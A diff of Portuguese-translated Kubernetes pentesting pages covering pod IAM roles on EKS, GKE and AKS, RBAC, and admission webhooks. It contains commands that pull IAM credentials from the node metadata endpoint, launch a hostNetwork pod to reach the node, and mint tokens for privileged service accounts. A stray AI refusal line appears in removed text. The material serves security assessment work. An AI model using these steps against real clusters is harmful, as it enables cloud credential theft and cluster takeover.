essa **annotation**: +Este é um script para **iterar facilmente por todas as definições dos pods** **procurando** por essa **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Uma forma (desatualizada) de atribuir IAM Roles aos Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basicamente, você precisará executar um **daemonset** no seu cluster com uma **espécie de privileged IAM role**. Esse daemonset será o responsável por conceder acesso a IAM Roles aos pods que precisarem. +Uma forma (desatualizada) de dar IAM Roles aos Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basicamente, você precisará executar um **daemonset** no seu cluster com um **tipo de IAM role privilegiada**. Esse daemonset será o que dará acesso às IAM roles aos pods que precisam disso. -Primeiro de tudo, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e isso é feito com uma annotation dentro do namespace object: +Antes de tudo, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e isso é feito com uma annotation dentro do objeto namespace: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Depois que o namespace estiver configurado com as IAM roles que os Pods podem ter, você pode **indicar a role que deseja em cada pod definition com algo como**: +Uma vez que o namespace esteja configurado com os IAM roles que os Pods podem ter, você pode **indicar o role que deseja em cada definição de pod com algo como**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Como atacante, se você **encontrar essas anotações** em pods ou namespaces ou em um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode **imitar todo o r**ole que já é **usado por pods** e mais (se você tiver acesso à conta AWS, enumere os roles). +> Como um atacante, se você **encontrar estas anotações** em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode **impersonate every r**ole que já está **used by pods** e mais (se você tiver acesso à AWS account, enumere os roles). -#### Criar Pod com IAM Role +#### Create Pod with IAM Role > [!NOTE] -> O IAM role a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam, e esse role deve ser capaz de acessá-lo. +> O IAM role a indicar deve estar na mesma AWS account que o role kiam/kube2iam e esse role deve conseguir acessá-lo. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role para Service Accounts do K8s via OIDC +### IAM Role para K8s Service Accounts via OIDC Esta é a **forma recomendada pela AWS**. -1. Antes de tudo você precisa [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Depois você cria um IAM role com as permissões que o SA irá requerer. -3. Crie uma [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ou com os namespaces, dando acesso ao role para todos os SAs do namespace). _A trust relationship irá principalmente checar o nome do provedor OIDC, o nome do namespace e o nome do SA_. -4. Finalmente, **crie um SA com uma annotation indicando o ARN do role**, e os pods rodando com esse SA terão **acesso ao token do role**. O **token** é **escrito** dentro de um arquivo e o caminho é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Primeiro, você precisa [criar um OIDC provider para o cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Depois, você cria uma IAM role com as permissões que o SA vai precisar. +3. Crie uma [trust relationship entre a IAM role e o nome do SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ou os namespaces, dando acesso da role a todos os SAs do namespace). _A trust relationship vai verificar principalmente o nome do OIDC provider, o nome do namespace e o nome do SA_. +4. Por fim, **crie um SA com uma annotation indicando o ARN da role**, e os pods executando com esse SA terão **access ao token da role**. O **token** é **written** dentro de um arquivo e o path é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Como atacante, se você puder enumerar um cluster K8s, verifique por **service accounts with that annotation** para **escalate to AWS**. Para isso, simplesmente **exec/create** um **pod** usando uma das IAM **privileged service accounts** e roube o token. +> Como atacante, se você consegue enumerar um cluster K8s, verifique por **service accounts com essa annotation** para **escalar para AWS**. Para isso, basta **exec/create** um **pod** usando uma das IAM **privileged service accounts** e roubar o token. > > Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Às vezes a **Turst Policy of a role** pode estar **bad configured** e, em vez de dar AssumeRole access ao service account esperado, ela dá para **all the service accounts**. Portanto, se você for capaz de escrever uma annotation em um service account controlado, você pode acessar o role. +> Às vezes, a **Turst Policy de um role** pode estar **mal configurada** e, em vez de conceder acesso AssumeRole à service account esperada, ela concede a **todas as service accounts**. Portanto, se você for capaz de gravar uma annotation em uma service account controlada, você pode acessar o role. > -> Confira a **following page for more information**: +> Verifique a **seguinte página para mais informações**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Encontrar Pods e SAs com IAM Roles no Cluster +### Find Pods a SAs with IAM Roles in the Cluster -Este é um script para facilmente **iterar por todas as definições de pods e SAs** **procurando** por essa **annotation**: +Este é um script para iterar facilmente sobre todas as definições de **pods e sas** **procurando** por essa **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,24 +255,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -A seção anterior tratou de como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s será uma **instance inside the cloud**. Isso significa que o Node tem alta probabilidade de **ter um IAM role que você pode roubar** (_observe que normalmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar cada node_). +A seção anterior falava sobre como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s vai ser uma **instance dentro da cloud**. Isso significa que o Node provavelmente vai **ter um IAM role que você pode roubar** (_note que usually todos os nodes de um cluster K8s vão ter o mesmo IAM role, então talvez não valha a pena tentar checar em cada node_). -Para acessar o node metadata endpoint você precisa: -- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a misconfiguração mais comum, pois geralmente diferentes pods no cluster precisarão de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster. -- Estar em um pod com `hostNetwork` enabled. -- Escapar para o node e acessar o metadata endpoint diretamente. +Para acessar o metadata endpoint do node, você precisa: +- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a configuração incorreta mais comum, já que normalmente diferentes pods no cluster vão precisar de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster. +- Estar em um pod com `hostNetwork` habilitado. +- Escape para o node e acessar o metadata endpoint diretamente. -(Observe que o metadata endpoint está em 169.254.169.254 como sempre). +(Note que o metadata endpoint fica em 169.254.169.254 como sempre). -Para **escapar para o node** você pode usar o seguinte comando para rodar um pod com `hostNetwork` enabled: +Em ambientes EKS mais novos, verifique o modo do node e do cluster antes de assumir que os pods conseguem alcançar o node instance profile. As AMIs Amazon Linux 2023 EKS optimized definem o IMDS hop limit como 1 por padrão, e o EKS Auto Mode habilita `disablePodIMDS` por padrão, então pods normais não devem receber credenciais do node-role, a menos que o operador tenha alterado essas configurações ou o pod tenha outro caminho em nível de node, como `hostNetwork` ou comprometimento do node. O padrão recomendado é bloquear o acesso dos pods ao node IMDS e usar IRSA ou EKS Pod Identity para permissões AWS da workload. + +Para **escape to the node** você pode usar o seguinte comando para executar um pod com `hostNetwork` habilitado: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Steal IAM Role Token +### Roubar Token de IAM Role -Anteriormente discutimos como **attach IAM Roles to Pods** ou até como **escape to the Node to steal the IAM Role** que a instância tem anexada. +Anteriormente, discutimos como **anexar IAM Roles a Pods** ou até mesmo como **escapar para o Node para roubar o IAM Role** que a instância tem anexado a ele. -Você pode usar o seguinte script para **steal** suas recém-conquistadas **IAM role credentials**: +Você pode usar o seguinte script para **roubar** suas novas e arduamente conquistadas **credenciais do IAM role**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -285,21 +287,66 @@ fi ``` ### Privesc to cluster-admin -Em resumo: se for possível **acessar o EKS Node IAM role** a partir de um pod, é possível **comprometer todo o kubernetes cluster**. +Em resumo: se for possível **acessar a função IAM do Node do EKS** a partir de um pod, é possível **comprometer o cluster kubernetes inteiro**. -For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumo, a default IAM EKS role que é atribuída aos EKS nodes por padrão recebe a role `system:node` dentro do cluster. Essa role é muito interessante, embora seja limitada pelas kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). +Para mais informações, veja [este post](https://blog.calif.io/p/privilege-escalation-in-eks). Em resumo, a função IAM padrão do EKS que é atribuída aos nodes do EKS por padrão recebe a role `system:node` dentro do cluster. Essa role é muito interessante, embora seja limitada pelas [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) do kubernetes. -No entanto, o node pode sempre **gerar tokens para service accounts** que estejam rodando em pods dentro do node. Então, se o node estiver executando um pod com um privileged service account, o node pode gerar um token para esse service account e usá-lo para se passar pelo service account, como em: +No entanto, o node sempre pode **gerar tokens para service accounts** executando em pods dentro do node. Então, se o node estiver executando um pod com uma service account privilegiada, o node pode gerar um token para essa service account e usá-lo para se passar pela service account como em: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ --bound-object-name=pod-priv \ --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d ``` -## Referências +## Azure / AKS + +No AKS, mantenha três caminhos de identidade separados durante a assessment: + +- **Azure to Kubernetes**: Principals do Azure podem recuperar kubeconfigs de usuário ou administrador por meio do Azure Resource Manager se seu role de Azure RBAC permitir. Kubeconfigs de admin local de `az aks get-credentials --admin` são credenciais baseadas em certificado e podem contornar a governança normal de usuário/grupo do Microsoft Entra, a menos que local accounts estejam desabilitadas. +- **Microsoft Entra to Kubernetes**: Clusters integrados ao Entra autenticam users, groups ou service principals por meio de kubeconfigs `kubelogin`/exec. A ação final do Kubernetes pode ser autorizada por native Kubernetes RBAC ou por Azure RBAC for Kubernetes Authorization. +- **Kubernetes to Azure**: Pods normalmente devem usar Microsoft Entra Workload ID, que troca projected Kubernetes service account tokens com o Entra por meio do AKS OIDC issuer e federated identity credentials. + +Useful AKS identity checks from Azure: +```bash +az aks show -g -n \ +--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ +-o yaml + +AKS_ID=$(az aks show -g -n --query id -o tsv) +az role assignment list --scope "$AKS_ID" --include-inherited -o table +az role assignment list --scope "$AKS_ID/namespaces/" -o table +``` +Do Kubernetes, procure sinais de AKS Workload ID: +```bash +kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 +``` +Os campos relevantes de Workload ID geralmente são: +```yaml +metadata: +annotations: +azure.workload.identity/client-id: "" +azure.workload.identity/tenant-id: "" +--- +metadata: +labels: +azure.workload.identity/use: "true" +``` +Se o cluster ainda usa o modelo descontinuado de Microsoft Entra pod-managed identity, procure os antigos CRDs e os componentes NMI/MIC em vez das anotações de Workload ID: +```bash +kubectl get crd | grep -i azureidentity +kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null +kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' +``` +Os nós do AKS são instâncias de Azure VM scale set, então acesso em nível de node ou host pode expor o Azure Instance Metadata Service em `169.254.169.254`. Não assuma que um pod comum deve receber credenciais da managed identity do node: verifique first as configurações de workload identity, o comportamento legado de pod identity/NMI, o uso de hostNetwork, os controles de network e o acesso ao node. Se uma node identity tiver permissões amplas no Azure, o compromisso do node pode se tornar um Azure pivot mesmo quando o Workload ID da aplicação estiver corretamente restrito. + +## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) +- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index fa2098103..2768f28bd 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Controle de Acesso Baseado em Funções (RBAC) +## Role-Based Access Control (RBAC) Kubernetes tem um **módulo de autorização chamado Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ajuda a definir permissões de uso para o API server. @@ -14,44 +14,44 @@ O modelo de permissões do RBAC é construído a partir de **três partes indivi ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -A diferença entre “**Roles**” e “**ClusterRoles**” é apenas onde o role será aplicado – um “**Role**” concederá acesso apenas a **um** **namespace** **específico**, enquanto um “**ClusterRole**” pode ser usado em **todos os namespaces** do cluster. Além disso, **ClusterRoles** também podem conceder acesso a: +A diferença entre “**Roles**” e “**ClusterRoles**” é apenas onde o role será aplicado – um “**Role**” concederá acesso apenas a **um** **namespace** **específico**, enquanto um “**ClusterRole**” pode ser usado em **todos os namespaces** no cluster. Além disso, **ClusterRoles** também podem conceder acesso a: - resources com escopo de **cluster** (como nodes). - endpoints **non-resource** (como /healthz). - resources com namespace (como Pods), **em todos os namespaces**. -A partir do **Kubernetes** 1.6, políticas **RBAC** são **ativadas por padrão**. Mas para habilitar RBAC você pode usar algo como: +A partir do **Kubernetes** 1.6, as políticas de **RBAC** são **habilitadas por padrão**. Mas para habilitar RBAC você pode usar algo como: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` ## Templates -No template de um **Role** ou um **ClusterRole** você precisará indicar o **nome do role**, o **namespace** (em roles) e então os **apiGroups**, **resources** e **verbs** do role: +No template de uma **Role** ou **ClusterRole** você precisará indicar o **nome da role**, o **namespace** (em roles) e então os **apiGroups**, **resources** e **verbs** da role: -- Os **apiGroups** são um array que contém os diferentes **namespaces da API** aos quais esta regra se aplica. Por exemplo, uma definição de Pod usa apiVersion: v1. _It can has values such as rbac.authorization.k8s.io ou \[\*]_. -- Os **resources** são um array que define **a quais resources esta regra se aplica**. Você pode encontrar todos os resources com: `kubectl api-resources --namespaced=true` -- Os **verbs** são um array que contém os **verbs permitidos**. O verb in Kubernetes define o **tipo de ação** que você precisa aplicar ao resource. Por exemplo, o verb list é usado contra collections enquanto "get" é usado contra um único resource. +- O **apiGroups** é um array que contém os diferentes **espaços de nomes da API** aos quais essa regra se aplica. Por exemplo, uma definição de Pod usa apiVersion: v1. _Ela pode ter valores como rbac.authorization.k8s.io ou \[\*]_. +- O **resources** é um array que define **a quais resources esta regra se aplica**. Você pode encontrar todos os resources com: `kubectl api-resources --namespaced=true` +- O **verbs** é um array que contém os **verbs permitidos**. O verb em Kubernetes define o **tipo de ação** que você precisa aplicar ao resource. Por exemplo, o verb list é usado contra collections enquanto "get" é usado contra um único resource. ### Rules Verbs -(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) +(_Estas informações foram retiradas de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (para resources individuais), list (para collections, incluindo o conteúdo completo do objeto), watch (para observar um resource individual ou uma collection de resources) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (para resources individuais), deletecollection (para collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Às vezes, Kubernetes verifica autorização para permissões adicionais usando verbs especializados. Por exemplo: +Às vezes, Kubernetes verifica a autorização para permissões adicionais usando verbs especializados. Por exemplo: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) - verb `use` em resources `podsecuritypolicies` no API group `policy`. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) - verbs `bind` e `escalate` em resources `roles` e `clusterroles` no API group `rbac.authorization.k8s.io`. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- verb `impersonate` em `users`, `groups` e `serviceaccounts` no core API group, e em `userextras` no API group `authentication.k8s.io`. +- verb `impersonate` em `users`, `groups` e `serviceaccounts` no core API group, e `userextras` no API group `authentication.k8s.io`. > [!WARNING] > Você pode encontrar **todos os verbs que cada resource suporta** executando `kubectl api-resources --sort-by name -o wide` @@ -84,11 +84,11 @@ Por exemplo, você pode usar um **ClusterRole** para permitir que um usuário es ``` kubectl get pods --all-namespaces ``` -### **RoleBinding and ClusterRoleBinding** +### **RoleBinding e ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Um **role binding concede as permissões definidas em um role a um usuário ou conjunto de usuários**. Ele mantém uma lista de subjects (users, groups, or service accounts), e uma referência ao role being granted. Um **RoleBinding** concede permissões dentro de um **namespace** específico, enquanto um **ClusterRoleBinding** concede esse acesso em nível de **cluster-wide**. +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Um **role binding concede as permissões definidas em uma role a um usuário ou conjunto de usuários**. Ele mantém uma lista de subjects (users, groups, or service accounts) e uma referência à role que está sendo concedida. Um **RoleBinding** concede permissões dentro de um **namespace** específico, enquanto um **ClusterRoleBinding** concede esse acesso **em todo o cluster**. ```yaml:RoleBinding -piVersion: rbac.authorization.k8s.io/v1 +apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. # You need to already have a Role named "pod-reader" in that namespace. kind: RoleBinding @@ -122,8 +122,32 @@ kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ``` -**As permissões são aditivas** então, se você tiver um clusterRole com “list” e “delete” secrets, você pode adicioná-lo com um Role com “get”. Portanto, esteja atento e teste sempre seus roles e permissões e **especifique o que é PERMITIDO, porque tudo é NEGADO por padrão.** +**Permissões são aditivas** então se você tem um clusterRole com “list” e “delete” secrets você pode adicioná-lo com um Role com “get”. Então fique atento e teste sempre seus roles e permissions e **especifique o que é PERMITIDO, porque tudo é NEGADO por padrão.** +### Detalhes que valem a pena verificar + +RBAC usa resource names como aparecem nas API URLs, não o YAML `kind`. Um Pod é `pods`, um Deployment é `deployments`, e subresources são escritos com uma barra como `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ou `services/proxy`. Uma permission em `pods` não concede automaticamente acesso a `pods/exec` ou `pods/log`. + +`resourceNames` pode restringir algumas requests a nomes específicos de objetos: +```yaml +rules: +- apiGroups: [""] +resources: ["configmaps"] +resourceNames: ["app-config"] +verbs: ["get", "update"] +``` +Isso não restringe `create` ou `deletecollection` de nível superior por nome. Para `list` e `watch`, o cliente deve incluir um seletor de campo `metadata.name` correspondente, caso contrário a solicitação não é autorizada por essa regra: +```bash +kubectl get configmaps -n default --field-selector=metadata.name=app-config +``` +Use revisões de acesso exatas para verificações de alto impacto: +```bash +kubectl auth can-i create pods/exec -n default +kubectl auth can-i create serviceaccounts/token -n default +kubectl auth can-i impersonate users +kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io +kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +``` ## **Enumerando RBAC** ```bash # Get current privileges @@ -146,7 +170,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Abusar de Role/ClusterRoles para Escalonamento de Privilégios +### Abuse Role/ClusterRoles for Privilege Escalation {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index d61965a0c..ccd72e0d5 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -4,15 +4,24 @@ **O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) -## Definição +## Definition -ValidatingWebhookConfiguration é um recurso do Kubernetes que define um webhook de validação, que é um componente do lado do servidor que valida as solicitações da API do Kubernetes recebidas em relação a um conjunto de regras e restrições predefinidas. +`ValidatingWebhookConfiguration` é um recurso do Kubernetes que registra um ou mais validating admission webhooks. Esses webhooks recebem requests AdmissionReview do API server após authentication e authorization, mas antes de o object ser persistido. -## Propósito +Validating webhooks podem rejeitar uma request. Mutating webhooks, configurados com `MutatingWebhookConfiguration`, podem change o object primeiro. Security reviews normalmente devem inspecionar ambos os resources porque um mutating webhook malicioso ou fraco pode reescrever workloads, enquanto um validating webhook ou policy engine pode bloqueá-los ou permiti-los. -O propósito de um ValidatingWebhookConfiguration é definir um webhook de validação que aplicará um conjunto de regras e restrições predefinidas nas solicitações da API do Kubernetes recebidas. O webhook validará as solicitações em relação às regras e restrições definidas na configuração e retornará um erro se a solicitação não estiver em conformidade com as regras. +## Purpose -**Exemplo** +O propósito de um `ValidatingWebhookConfiguration` é definir quando o API server deve chamar um validating webhook e como ele deve lidar com o resultado do webhook. A questão importante de security não é apenas "uma policy está instalada?", mas também: + +- Quais API groups, resources, operations e scopes ele corresponde? +- Quais namespaces ou objects são excluídos por selectors? +- `matchConditions` ignora algum tipo de request? +- `failurePolicy` falha aberto com `Ignore` ou falha fechado com `Fail`? +- O webhook service está acessível, confiável pelo `caBundle` configurado e executado por um service account com privilégios elevados? +- O policy engine também expõe exception resources, excluded users ou excluded groups? + +**Example** Aqui está um exemplo de um ValidatingWebhookConfiguration: ```yaml @@ -20,53 +29,117 @@ apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: example-validation-webhook -namespace: default -webhook: -name: example-validation-webhook +webhooks: +- name: pods.example.local +admissionReviewVersions: ["v1"] +sideEffects: None +failurePolicy: Fail +timeoutSeconds: 5 clientConfig: -url: https://example.com/webhook -serviceAccountName: example-service-account +service: +namespace: webhook-system +name: example-validation-webhook +path: /validate +caBundle: rules: -- apiGroups: -- "" -apiVersions: -- "*" -operations: -- CREATE -- UPDATE -resources: -- pods +- apiGroups: [""] +apiVersions: ["v1"] +operations: ["CREATE", "UPDATE"] +resources: ["pods"] +scope: "Namespaced" +namespaceSelector: +matchExpressions: +- key: kubernetes.io/metadata.name +operator: NotIn +values: ["kube-system"] ``` -A principal diferença entre um ValidatingWebhookConfiguration e políticas: +A principal diferença entre uma ValidatingWebhookConfiguration e policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)**: Um recurso do Kubernetes que define um webhook de validação, que é um componente do lado do servidor que valida as solicitações da API do Kubernetes recebidas contra um conjunto de regras e restrições predefinidas. -- **Kyverno ClusterPolicy**: Uma definição de política que especifica um conjunto de regras e restrições para validar e impor recursos do Kubernetes, como pods, implantações e serviços. +- **ValidatingWebhookConfiguration (VWC)** : Um recurso do Kubernetes que define um validating webhook, que é um componente do lado do servidor que valida requisições recebidas da API do Kubernetes com base em um conjunto de regras e restrições predefinidas. +- **Kyverno ClusterPolicy**: Uma definição de policy que especifica um conjunto de regras e restrições para validar e impor Kubernetes resources, como pods, deployments, e services -## Enumeração +## Enumeration ``` -$ kubectl get ValidatingWebhookConfiguration +$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations +$ kubectl get validatingwebhookconfiguration -o yaml +$ kubectl get mutatingwebhookconfiguration -o yaml +$ kubectl get svc,deploy,pod -A | grep -i webhook ``` -### Abusando do Kyverno e do Gatekeeper VWC +Campos a inspecionar: -Como podemos ver, todos os operadores instalados têm pelo menos uma ValidatingWebHookConfiguration(VWC). +- `rules`: Verifique os API groups, versions, resources, subresources, operations e scope cobertos. +- `namespaceSelector` / `objectSelector`: Procure namespaces ou labels que excluam recursos da policy. +- `matchConditions`: Expressões CEL podem, intencionalmente ou por engano, pular requests. +- `failurePolicy`: `Ignore` deixa as requests continuarem se o webhook falhar; `Fail` as bloqueia. +- `sideEffects`: Webhooks com side effects podem não suportar testes dry-run. +- `timeoutSeconds`: Timeouts muito curtos combinados com `Ignore` podem virar comportamento fail-open. +- `clientConfig`: Revise se o webhook aponta para um Service in-cluster ou URL externa, e inspecione o workload de suporte e a service account. +- `reinvocationPolicy`: Mutating webhooks podem ser reinvocados quando uma mutação posterior altera o objeto. -**Kyverno** e **Gatekeeper** são ambos motores de política do Kubernetes que fornecem uma estrutura para definir e impor políticas em um cluster. +### Abusing Kyverno and Gatekeeper VWC -Exceções referem-se a regras ou condições específicas que permitem que uma política seja contornada ou modificada em certas circunstâncias, mas essa não é a única maneira! +Como podemos ver, todos os operators instalados têm pelo menos uma ValidatingWebHookConfiguration(VWC). -Para **kyverno**, assim que há uma política de validação, o webhook `kyverno-resource-validating-webhook-cfg` é populado. +**Kyverno** e **Gatekeeper** são ambos Kubernetes policy engines que fornecem um framework para definir e aplicar policies em um cluster. -Para o Gatekeeper, há o arquivo YAML `gatekeeper-validating-webhook-configuration`. +Exceções se referem a regras ou condições específicas que permitem que uma policy seja contornada ou modificada sob certas circunstâncias, mas esta não é a única forma ! -Ambos vêm com valores padrão, mas as equipes de Administradores podem ter atualizado esses 2 arquivos. +Para **kyverno**, assim que há uma validating policy, o webhook `kyverno-resource-validating-webhook-cfg` é populado. -### Caso de Uso +Para Gatekeeper, existe o arquivo YAML `gatekeeper-validating-webhook-configuration`. + +Ambos vêm com valores padrão, mas as equipes de Administrators podem ter atualizado esses 2 arquivos. + +### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -I'm sorry, but I cannot assist with that. +**ValidatingWebhookConfiguration** + +`ValidatingWebhookConfiguration` is a **resource** in Kubernetes used to register **webhooks** that validate requests to the API server before they are accepted. When a resource is created, updated, or deleted, the API server can send the request to an external service for validation. + +This object lets you enforce custom policies, such as: +- blocking forbidden images, +- requiring labels or annotations, +- rejecting unsafe configurations. + +### Main points +- It is defined under the `admissionregistration.k8s.io` API group. +- It can contain one or more `webhooks`. +- Each webhook specifies: + - `rules` for which operations/resources it applies to, + - `clientConfig` pointing to the service or URL, + - `caBundle` for TLS trust, + - `failurePolicy` to decide what happens if the webhook is unavailable. + +### Example +```yaml +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingWebhookConfiguration +metadata: + name: example-webhook +webhooks: + - name: validate.example.com + clientConfig: + service: + name: webhook-service + namespace: default + path: /validate + caBundle: + rules: + - apiGroups: ["apps"] + apiVersions: ["v1"] + operations: ["CREATE", "UPDATE"] + resources: ["deployments"] +``` + +### Security note +If an attacker can modify a `ValidatingWebhookConfiguration`, they may be able to: +- bypass validation, +- disable security controls, +- or redirect admission traffic to a malicious service. ```yaml namespaceSelector: matchExpressions: @@ -79,20 +152,35 @@ values: - kube-system - MYAPP ``` -Aqui, o rótulo `kubernetes.io/metadata.name` refere-se ao nome do namespace. Namespaces com nomes na lista `values` serão excluídos da política: +Aqui, 